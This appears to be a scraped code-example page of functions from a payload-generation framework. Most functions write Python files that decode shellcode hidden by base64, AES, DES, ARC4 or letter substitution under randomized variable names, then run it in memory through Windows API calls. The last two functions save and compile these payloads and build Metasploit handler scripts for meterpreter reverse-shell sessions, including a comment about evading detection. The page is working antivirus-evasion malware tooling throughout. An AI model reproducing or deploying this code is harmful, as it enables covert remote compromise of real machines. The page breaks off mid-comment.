Esempio n. 1
0
def pyVirtualAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()
    
    # Generate Random Variable Names
    ShellcodeVariableName = randomizer.randomString()
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('import ctypes\n\n')
    PayloadFile.write(ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n\n')
    PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n')
    PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n')
    PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 2
0
def pyb64VAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()    

    # Base64 Encode Shellcode
    EncodedShellcode = base64.b64encode(Shellcode)    

    # Generate Random Variable Names
    ShellcodeVariableName = randomizer.randomString()
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    RandT = randomizer.randomString()

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('import ctypes\n')
    PayloadFile.write('import base64\n\n')
    PayloadFile.write(RandT + " = \"" + EncodedShellcode + "\"\n")
    PayloadFile.write(ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n")
    PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName  + ')).from_buffer(' + ShellcodeVariableName + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n')
    PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n')
    PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 3
0
def pyAESVAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    ShellcodeVariableName = randomizer.randomString()
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    RandDecodeAES = randomizer.randomString()
    RandCipherObject = randomizer.randomString()
    RandDecodedShellcode = randomizer.randomString()
    RandShellCode = randomizer.randomString()
    RandPadding = randomizer.randomString()

    # Set AES Block Size and Padding
    BlockSize = 32
    Padding = '{'

    # Function for Padding Encrypted Text to Fit the Block
    pad = lambda s: s + (BlockSize - len(s) % BlockSize) * Padding

    # Encrypt & Encode or Decrypt & Decode a String
    EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
    DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(Padding)

    # Generate Random AES Key
    secret = aes.aesKey()

    # Create Cipher Object with Generated Secret Key
    cipher = AES.new(secret)

    # Encrypt the String
    EncodedShellcode = EncodeAES(cipher, Shellcode)

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('import ctypes\n')
    PayloadFile.write('from Crypto.Cipher import AES\n')
    PayloadFile.write('import base64\n')
    PayloadFile.write('import os\n\n')
    PayloadFile.write(RandPadding + ' = \'{\'\n') 
    PayloadFile.write(RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n')
    PayloadFile.write(RandCipherObject + ' = AES.new(\'' + secret + '\')\n')
    PayloadFile.write(RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n')
    PayloadFile.write(RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n\n')
    PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n\n')
    PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n')
    PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))')    
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 4
0
def pyLetterSubVAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    SubbedShellcodeVariableName = randomizer.randomString()
    ShellcodeVariableName = randomizer.randomString()
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    RandDecodedLetter = randomizer.randomString()
    RandCorrectLetter = randomizer.randomString()
    RandSubScheme = randomizer.randomString()

    # Letter Substitution Variables
    EncodeWithThis = "c"
    DecodeWithThis = "t"

    # Create Letter Substitution Scheme
    SubScheme = string.maketrans(EncodeWithThis, DecodeWithThis)

    # Escaping Shellcode
    Shellcode = Shellcode.encode("string_escape")

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('import ctypes\n')
    PayloadFile.write('from string import maketrans\n\n')
    PayloadFile.write(RandDecodedLetter + ' = "t"\n')
    PayloadFile.write(RandCorrectLetter + ' = "c"\n\n')
    PayloadFile.write(RandSubScheme + ' = maketrans('+ RandDecodedLetter +', '+ RandCorrectLetter + ')\n\n')
    PayloadFile.write(SubbedShellcodeVariableName + ' = \"'+ Shellcode.translate(SubScheme) +'\"\n\n')
    PayloadFile.write(SubbedShellcodeVariableName + ' = ' + SubbedShellcodeVariableName + '.translate(' + RandSubScheme + ')\n')
    PayloadFile.write(ShellcodeVariableName + ' = bytearray(' + SubbedShellcodeVariableName + '.decode(\"string_escape\"))\n\n')
    PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n')
    PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n')
    PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 5
0
def pyDESVAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    ShellcodeVariableName = randomizer.randomString()
    RandIV = randomizer.randomString()
    RandDESKey = randomizer.randomString()
    RandDESPayload = randomizer.randomString()
    RandEncShellCodePayload = randomizer.randomString()

    # Set IV Value and DES Key
    iv = ''.join(random.choice(string.ascii_letters) for x in range(8))
    DESKey = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(8))

    # Create DES Object and encrypt our payload
    desmain = DES.new(DESKey, DES.MODE_CFB, iv)
    EncShellCode = desmain.encrypt(Shellcode)

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('from Crypto.Cipher import DES\n')
    PayloadFile.write('import ctypes\n\n')
    PayloadFile.write(RandIV + ' = \'' + iv + '\'\n')
    PayloadFile.write(RandDESKey + ' = \'' + DESKey + '\'\n')
    PayloadFile.write(RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n\n')
    PayloadFile.write(RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n\n')
    PayloadFile.write(ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n')
    PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n')
    PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n')
    PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 6
0
def pyARCVAlloc():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    RandPtr = randomizer.randomString()
    RandBuf = randomizer.randomString()
    RandHt = randomizer.randomString()
    ShellcodeVariableName = randomizer.randomString()
    RandIV = randomizer.randomString()
    RandARCKey = randomizer.randomString()
    RandARCPayload = randomizer.randomString()
    RandEncShellCodePayload = randomizer.randomString()

    # Set IV Value and DES Key
    iv = ''.join(random.choice(string.ascii_letters) for x in range(8))
    ARCKey = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(8))

    # Create DES Object and encrypt our payload
    arc4main = ARC4.new(ARCKey)
    EncShellCode = arc4main.encrypt(Shellcode)

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('from Crypto.Cipher import ARC4\n')
    PayloadFile.write('import ctypes\n\n')
    PayloadFile.write(RandIV + ' = \'' + iv + '\'\n')
    PayloadFile.write(RandARCKey + ' = \'' + ARCKey + '\'\n')
    PayloadFile.write(RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n\n')
    PayloadFile.write(RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n\n')
    PayloadFile.write(ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n')
    PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n')
    PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n')
    PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 7
0
def pyvoidpointer():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    RandShellcode = randomizer.randomString()
    RandReverseShell = randomizer.randomString()
    RandMemoryShell = randomizer.randomString()

    # Create Payload File
    PayloadFile = open("payload.py", "w")
    PayloadFile.write("#!/usr/bin/python\n\n")
    PayloadFile.write("from ctypes import *\n\n")
    PayloadFile.write(RandReverseShell + ' = "' + Shellcode + '"\n')
    PayloadFile.write(
        RandMemoryShell + " = create_string_buffer(" + RandReverseShell + ", len(" + RandReverseShell + "))\n"
    )
    PayloadFile.write(RandShellcode + " = cast(" + RandMemoryShell + ", CFUNCTYPE(c_void_p))\n")
    PayloadFile.write(RandShellcode + "()")
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 8
0
def pyvoidpointer():
    # Generate Shellcode Using msfvenom
    Shellcode = shellcode.genShellcode()

    # Generate Random Variable Names
    RandShellcode = randomizer.randomString()
    RandReverseShell = randomizer.randomString()
    RandMemoryShell = randomizer.randomString()

    # Create Payload File
    PayloadFile = open('payload.py', 'w')
    PayloadFile.write('#!/usr/bin/python\n\n')
    PayloadFile.write('from ctypes import *\n\n')
    PayloadFile.write(RandReverseShell + ' = \"' + Shellcode + '\"\n')
    PayloadFile.write(RandMemoryShell + ' = create_string_buffer(' +
                      RandReverseShell + ', len(' + RandReverseShell + '))\n')
    PayloadFile.write(RandShellcode + ' = cast(' + RandMemoryShell +
                      ', CFUNCTYPE(c_void_p))\n')
    PayloadFile.write(RandShellcode + '()')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()
Esempio n. 9
0
    def OutputMenu(self,
                   payload,
                   code,
                   showTitle=True,
                   interactive=True,
                   OutputBaseChoice=""):
        """
        Write a chunk of payload code to a specified ouput file base.
        Also outputs a handler script if required from the options.

        code = the source code to write
        OutputBaseChoice = "payload" or user specified string

        Returns the full name the source was written to.
        """

        # if we get .exe code back, output to the compiled folder, otherwise write to the source folder
        if payload.extension == "exe":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        else:
            outputFolder = settings.PAYLOAD_SOURCE_PATH

        # only show get input if we're doing the interactive menu
        if interactive:
            if showTitle:
                messages.title()

            # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
            print " [*] Press [enter] for 'payload'"
            OutputBaseChoice = raw_input(
                " [>] Please enter the base name for output files: ")

        if OutputBaseChoice == "": OutputBaseChoice = "payload"

        # walk the output path and grab all the file bases, disregarding extensions
        fileBases = []
        for (dirpath, dirnames, filenames) in os.walk(outputFolder):
            fileBases.extend(
                list(
                    set([
                        x.split(".")[0] for x in filenames
                        if x.split(".")[0] != ''
                    ])))
            break

        # as long as the file exists, increment a counter to add to the filename
        # i.e. "payload3.py", to make sure we don't overwrite anything
        FinalBaseChoice = OutputBaseChoice
        x = 1
        while FinalBaseChoice in fileBases:
            FinalBaseChoice = OutputBaseChoice + str(x)
            x += 1

        # set the output name to /outout/source/BASENAME.EXT
        OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension

        OutputFile = open(OutputFileName, 'w')
        OutputFile.write(code)
        OutputFile.close()

        # start building the information string for the generated payload
        message = "\n Language:\t\t" + helpers.color(
            payload.language) + "\n Payload:\t\t" + payload.shortname

        if hasattr(payload, 'shellcode'):
            # check if msfvenom was used or something custom, print appropriately
            if payload.shellcode.customshellcode != "":
                message += "\n Shellcode:\t\tcustom"
            else:
                message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload

                # if the shellcode wasn't custom, build out a handler script
                handler = "use exploit/multi/handler\n"
                handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n"
                handler += "set LHOST 0.0.0.0\n"

                # extract LPORT if it's there
                p = re.compile('LPORT=(.*?) ')
                parts = p.findall(payload.shellcode.msfvenomCommand)
                if len(parts) > 0:
                    handler += "set LPORT " + parts[0] + "\n"

                handler += "set ExitOnSession false\n"
                handler += "set AutoRunScript post/windows/manage/migrate\n"
                handler += "exploit -j\n"

            # print out any msfvenom options we used in shellcode generation if specified
            if len(payload.shellcode.options) > 0:
                message += "\n Options:\t\t"
                parts = ""
                for option in payload.shellcode.options:
                    parts += ' ' + option + ' '
                message += parts.strip()

            # reset the internal shellcode state the options don't persist
            payload.shellcode.Reset()

        # if required options were specified, output them
        if hasattr(payload, 'required_options'):
            message += "\n Required Options:\t"
            t = ""
            # sort the dictionary by key before we output, so it looks nice
            for key in sorted(payload.required_options.iterkeys()):
                t += " " + key + "=" + payload.required_options[key][0] + " "
            message += t.strip()

            # check if any options specify that we should build a handler out
            keys = payload.required_options.keys()

            if "LHOST" in keys:

                handler = "use exploit/multi/handler\n"
                # do our best to determine the payload type

                # handle options from the backdoor factory
                if "payload" in keys:
                    p = payload.required_options["payload"][0]
                    if "tcp" in p:
                        handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n"
                    elif "https" in p:
                        handler += "set PAYLOAD windows/meterpreter/reverse_https\n"
                    elif "shell" in p:
                        handler += "set PAYLOAD windows/shell_reverse_tcp\n"
                    else:
                        pass

                # if not BDF, try to extract the handler type from the payload name
                else:
                    if "tcp" in payload.shortname.lower():
                        handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n"
                    elif "https" in payload.shortname.lower():
                        handler += "set PAYLOAD windows/meterpreter/reverse_https\n"
                    elif "http" in payload.shortname.lower():
                        handler += "set PAYLOAD windows/meterpreter/reverse_https\n"
                    else:
                        pass

                handler += "set LHOST 0.0.0.0\n"

                if "LPORT" in keys:
                    handler += "set LPORT " + payload.required_options[
                        "LPORT"][0] + "\n"

                handler += "set ExitOnSession false\n"
                handler += "set AutoRunScript post/windows/manage/migrate\n"
                handler += "exploit -j\n"

        message += "\n Payload File:\t\t" + OutputFileName + "\n"

        # if we're generating the handler script, write it out
        try:
            if settings.GENERATE_HANDLER_SCRIPT.lower() == "true":
                handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc"
                handlerFile = open(handlerFileName, 'w')
                handlerFile.write(handler)
                handlerFile.close()
                message += " Handler File:\t\t" + handlerFileName + "\n"
        except:
            # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated
            print helpers.color("\n [!] Please run ./config/update.py !",
                                warning=True)

        # print out notes if set
        if hasattr(payload, 'notes'):
            #message += " Notes:\t\t\t" + payload.notes
            message += helpers.formatLong("Notes:",
                                          payload.notes,
                                          frontTab=False,
                                          spacing=24)

        message += "\n"

        # check if compile_to_exe is in the required options, if so,
        # call supportfiles.supportingFiles() to compile appropriately
        if hasattr(self.payload, 'required_options'):
            if "compile_to_exe" in self.payload.required_options:
                value = self.payload.required_options['compile_to_exe'][
                    0].lower()[0]
                if value == "y" or value == True:
                    if interactive:
                        supportfiles.supportingFiles(self.payload.language,
                                                     OutputFileName, {})
                    else:
                        supportfiles.supportingFiles(self.payload.language,
                                                     OutputFileName,
                                                     {'method': 'pyinstaller'})

                    # if we're compiling, set the returned file name to the output .exe
                    # so we can return this for external calls to the framework
                    OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe"

        # print the full message containing generation notes
        print message

        # print the end message
        messages.endmsg()

        if interactive:
            raw_input(" [>] press any key to return to the main menu: ")
            #self.MainMenu(showMessage=True)

        return OutputFileName
Esempio n. 10
0
    def OutputMenu(self,
                   payload,
                   code,
                   showTitle=True,
                   interactive=True,
                   args=None):
        """
        Write a chunk of payload code to a specified ouput file base.
        Also outputs a handler script if required from the options.

        code = the source code to write
        OutputBaseChoice = "payload" or user specified string

        Returns the full name the source was written to.
        """

        OutputBaseChoice = ""
        overwrite = False

        # if we have arguments passed, extract out the values we want
        if args:
            OutputBaseChoice = args.o
            overwrite = args.overwrite

        # if we get .exe or ELF (with no base) code back, output to the compiled folder, otherwise write to the source folder
        if payload.extension == "exe" or payload.extension == "war":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        # Check for ELF binary
        elif hasattr(payload, 'type') and payload.type == "ELF":
            outputFolder = settings.PAYLOAD_COMPILED_PATH
        else:
            outputFolder = settings.PAYLOAD_SOURCE_PATH

        # only show get input if we're doing the interactive menu
        if interactive:
            if showTitle:
                if settings.TERMINAL_CLEAR != "false": messages.title()

            # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe)
            OutputBaseChoice = raw_input(
                "\n [>] Please enter the base name for output files (default is 'payload'): "
            )

            # ensure we get a base name and not a full path
            while OutputBaseChoice != "" and "/" in OutputBaseChoice:
                print helpers.color(
                    " [!] Please provide a base name, not a path, for the output base",
                    warning=True)
                OutputBaseChoice = raw_input(
                    "\n [>] Please enter the base name for output files (default is 'payload'): "
                )

        # for invalid output base choices that are passed by arguments
        else:
            if "/" in OutputBaseChoice:
                print helpers.color(
                    " [!] Please provide a base name, not a path, for the output base",
                    warning=True)
                print helpers.color(
                    " [!] Defaulting to 'payload' for output base...",
                    warning=True)
                OutputBaseChoice = "payload"

        if OutputBaseChoice == "": OutputBaseChoice = "payload"

        # if we are overwriting, this is the base choice used
        FinalBaseChoice = OutputBaseChoice

        # if we're not overwriting output files, walk the existing and increment
        if not overwrite:
            # walk the output path and grab all the file bases, disregarding extensions
            fileBases = []
            for (dirpath, dirnames, filenames) in os.walk(outputFolder):
                fileBases.extend(
                    list(
                        set([
                            x.split(".")[0] for x in filenames
                            if x.split(".")[0] != ''
                        ])))
                break

            # as long as the file exists, increment a counter to add to the filename
            # i.e. "payload3.py", to make sure we don't overwrite anything
            FinalBaseChoice = OutputBaseChoice
            x = 1
            while FinalBaseChoice in fileBases:
                FinalBaseChoice = OutputBaseChoice + str(x)
                x += 1

        # set the output name to /outout/source/BASENAME.EXT unless it is an ELF then no extension
        if hasattr(payload, 'type') and payload.type == "ELF":
            OutputFileName = outputFolder + FinalBaseChoice + payload.extension
        else:
            OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension

        OutputFile = open(OutputFileName, 'w')
        OutputFile.write(code)
        OutputFile.close()

        # start building the information string for the generated payload
        # extract the payload class name from the instantiated object, then chop off the load folder prefix
        payloadname = "/".join(
            str(
                str(payload.__class__)
                [str(payload.__class__).find("payloads"):]).split(".")
            [0].split("/")[1:])
        message = "\n Language:\t\t" + helpers.color(
            payload.language) + "\n Payload:\t\t" + payloadname
        handler = ""

        if hasattr(payload, 'shellcode'):
            # check if msfvenom was used or something custom, print appropriately
            if payload.shellcode.customshellcode != "":
                message += "\n Shellcode:\t\tcustom"
            else:
                message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload

                # if the shellcode wasn't custom, build out a handler script
                handler = "use exploit/multi/handler\n"
                handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n"

                # extract LHOST if it's there
                p = re.compile('LHOST=(.*?) ')
                parts = p.findall(payload.shellcode.msfvenomCommand)
                if len(parts) > 0:
                    handler += "set LHOST " + parts[0] + "\n"
                else:
                    # try to extract this local IP
                    handler += "set LHOST " + helpers.LHOST() + "\n"

                # extract LPORT if it's there
                p = re.compile('LPORT=(.*?) ')
                parts = p.findall(payload.shellcode.msfvenomCommand)
                if len(parts) > 0:
                    handler += "set LPORT " + parts[0] + "\n"

                # Removed autoscript smart migrate due to users on forum saying that migrate itself caused detection
                # in an otherwise undetectable (at the time) payload
                handler += "set ExitOnSession false\n"
                handler += "exploit -j\n"

            # print out any msfvenom options we used in shellcode generation if specified
            if len(payload.shellcode.options) > 0:
                message += "\n Options:\t\t"
                parts = ""
                for option in payload.shellcode.options:
                    parts += ' ' + option + ' '
                message += parts.strip()

            # reset the internal shellcode state the options don't persist
            payload.shellcode.Reset()

        # if required options were specified, output them
        if hasattr(payload, 'required_options'):
            t = ""
            # sort the dictionary by key before we output, so it looks nice
            for key in sorted(payload.required_options.iterkeys()):
                t += " " + key + "=" + payload.required_options[key][0] + " "
            message += "\n" + helpers.formatLong(
                "Required Options:", t.strip(), frontTab=False, spacing=24)

            # check if any options specify that we should build a handler out
            keys = payload.required_options.keys()

            # assuming if LHOST is set, we need a handler script
            if "LHOST" in keys or "RHOST" in keys:

                handler = "use exploit/multi/handler\n"
                # do our best to determine the payload type

                architecture = ""
                if hasattr(payload,
                           "architecture") and payload.architecture == "64":
                    architecture = "x64/"

                # handle options from the backdoor factory
                if "payload" in keys:
                    p = payload.required_options["payload"][0]

                    if "rev_tcp" in p:
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture
                    elif "bind_tcp" in p:
                        handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture
                    elif "https" in p:
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture
                    elif "shell" in p:
                        handler += "set PAYLOAD windows/%sshell_reverse_tcp\n" % architecture
                    else:
                        pass

                # if not BDF, try to extract the handler type from the payload name
                else:
                    # extract the payload class name from the instantiated object, then chop off the load folder prefix
                    payloadname = "/".join(
                        str(
                            str(payload.__class__)
                            [str(payload.__class__).find("payloads"):]).split(
                                ".")[0].split("/")[1:])

                    # pure rev_tcp stager
                    if "rev_tcp" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture
                    # pure bind_tcp stager
                    elif "bind_tcp" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture
                    # pure rev_https stager
                    elif "https" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture
                    # pure rev_http stager
                    elif "http" in payloadname.lower():
                        handler += "set PAYLOAD windows/%smeterpreter/reverse_http\n" % architecture
                    else:
                        pass

                # grab the LHOST value
                if "LHOST" in keys:
                    handler += "set LHOST " + payload.required_options[
                        "LHOST"][0] + "\n"
                if "RHOST" in keys:
                    handler += "set RHOST " + payload.required_options[
                        "RHOST"][0] + "\n"

                # grab the LPORT value if it was set
                if "LPORT" in keys:
                    handler += "set LPORT " + payload.required_options[
                        "LPORT"][0] + "\n"

                handler += "set ExitOnSession false\n"
                handler += "exploit -j\n"

        message += "\n Payload File:\t\t" + OutputFileName + "\n"

        # if we're generating the handler script, write it out
        try:
            if settings.GENERATE_HANDLER_SCRIPT.lower() == "true":
                if handler != "":
                    handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc"
                    handlerFile = open(handlerFileName, 'w')
                    handlerFile.write(handler)
                    handlerFile.close()
                    message += " Handler File:\t\t" + handlerFileName + "\n"
        except:
            # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated
            print helpers.color(
                "\n [!] Internal error #1. Please run %s manually\n" %
                (os.path.abspath("./config/update.py")),
                warning=True)

        # print out notes if set
        if hasattr(payload, 'notes'):
            #message += " Notes:\t\t\t" + payload.notes
            message += helpers.formatLong("Notes:",
                                          payload.notes,
                                          frontTab=False,
                                          spacing=24)

        # check if compile_to_exe is in the required options, if so,
        # call supportfiles.supportingFiles() to compile appropriately
        if hasattr(self.payload, 'required_options'
                   ) and self.payload.language.lower() != "powershell":
            if "COMPILE_TO_EXE" in self.payload.required_options:
                value = self.payload.required_options['COMPILE_TO_EXE'][
                    0].lower()[0]

                if value == "y" or value == True:

                    # check if the --pwnstaller flag was passed
                    if args and args.pwnstaller:
                        supportfiles.supportingFiles(self.payload,
                                                     OutputFileName,
                                                     {'method': 'pwnstaller'})
                    else:
                        # if interactive, allow the user to choose the method
                        if interactive:
                            supportfiles.supportingFiles(
                                self.payload, OutputFileName, {})
                        # otherwise specify the default, pyinstaller
                        else:
                            supportfiles.supportingFiles(
                                self.payload, OutputFileName,
                                {'method': 'pyinstaller'})

                    # if we're compiling, set the returned file name to the output .exe
                    # so we can return this for external calls to the framework
                    OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe"

        # This block of code is going to be used to SHA1 hash our compiled payloads to potentially submit the
